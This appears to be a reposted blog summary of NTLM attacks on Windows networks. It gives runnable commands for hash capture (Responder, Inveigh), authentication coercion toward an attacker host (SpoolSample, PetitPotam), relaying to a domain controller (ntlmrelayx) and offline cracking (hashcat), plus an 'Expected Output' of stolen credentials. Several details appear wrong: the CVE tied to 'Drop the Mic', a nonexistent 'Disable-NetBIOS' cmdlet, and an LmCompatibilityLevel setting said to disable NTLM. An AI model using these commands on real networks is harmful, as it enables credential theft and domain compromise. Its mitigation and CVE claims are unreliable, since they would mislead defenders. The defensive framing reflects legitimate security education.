Comprehensive Guide to NTLM Attacks: Tools, Techniques, and Mitigations

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The folks at SpecterOps, makers of Bloodhound, have published an in-depth resource on NTLM attacks, covering historical context, exploitation techniques, and defensive strategies. This guide serves as both a refresher for seasoned professionals and a primer for newcomers.

Background of NTLM 1/NTLM2

NTLM (NT LAN Manager) is a suite of Microsoft authentication protocols used in Windows environments. While NTLMv2 improved security over NTLMv1, both versions remain vulnerable to various attacks.

NTLM Hacking Tools

1. Responder – A tool for LLMNR/NBT-NS poisoning and NetNTLM hash capture.

– GitHub: https://github.com/lgandx/Responder
– Basic usage:

python Responder.py -I eth0 -wrf

1. Inveigh – A PowerShell-based tool for NetNTLMv1/2 hash capturing.

– GitHub: https://github.com/Kevin-Robertson/Inveigh
– Execution command:

Import-Module .\Inveigh.ps1; Invoke-Inveigh -ConsoleOutput Y

1. Farmer – A tool for NTLM relay attacks.

– GitHub: https://github.com/mdsecactivebreach/Farmer

Computer Authentication Coercion

1. Printer Bug (SpoolSample) – Forces a host to authenticate via MS-RPRN.

– Exploit:

python SpoolSample.py target_IP attacker_IP

2. PetitPotam – Coerces authentication via MS-EFSRPC.

• GitHub: https://github.com/topotam/PetitPotam
• Execution:

  .\PetitPotam.exe attacker_IP target_IP
  

Harvesting NetNTLM Hashes

Attackers can intercept NTLM challenges to harvest hashes for offline cracking. Tools like Responder and Inveigh automate this process.

Drop the Mic (CVE-2021-1678)

A vulnerability allowing NTLM relay attacks even when signing is enforced.

You Should Know: Practical Exploitation & Defense

Exploitation Commands

• Capturing NTLM Hashes with Responder:

  sudo python Responder.py -I eth0 -v
  

• Relaying NTLM with ntlmrelayx (Impacket):

  ntlmrelayx.py -t ldap://domain_controller -smb2support
  

• Cracking NetNTLMv2 with Hashcat:

  hashcat -m 5600 hashes.txt rockyou.txt
  

Defensive Measures

1. Disable NTLM:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" -Value 5

2. Enable SMB Signing:

Set-SmbServerConfiguration -RequireSecuritySignature $true

3. Block LLMNR/NBT-NS:

Disable-NetBIOS -InterfaceAlias "Ethernet"

What Undercode Say

NTLM remains a critical attack vector in Windows environments. While mitigations exist, legacy systems and misconfigurations often leave networks exposed. Red teams should master NTLM relay and hash capture techniques, while blue teams must enforce SMB signing, disable NTLMv1, and monitor for anomalous authentication attempts.

Expected Output:

• Captured NetNTLM hashes (username::domain:challenge:response).
• Successful relayed authentication to Domain Controllers.
• Cracked passwords from offline brute-forcing.

For further reading, visit SpecterOps’ full guide: https://lnkd.in/gYGxF3U7.

References:

Reported By: Mthomasson The – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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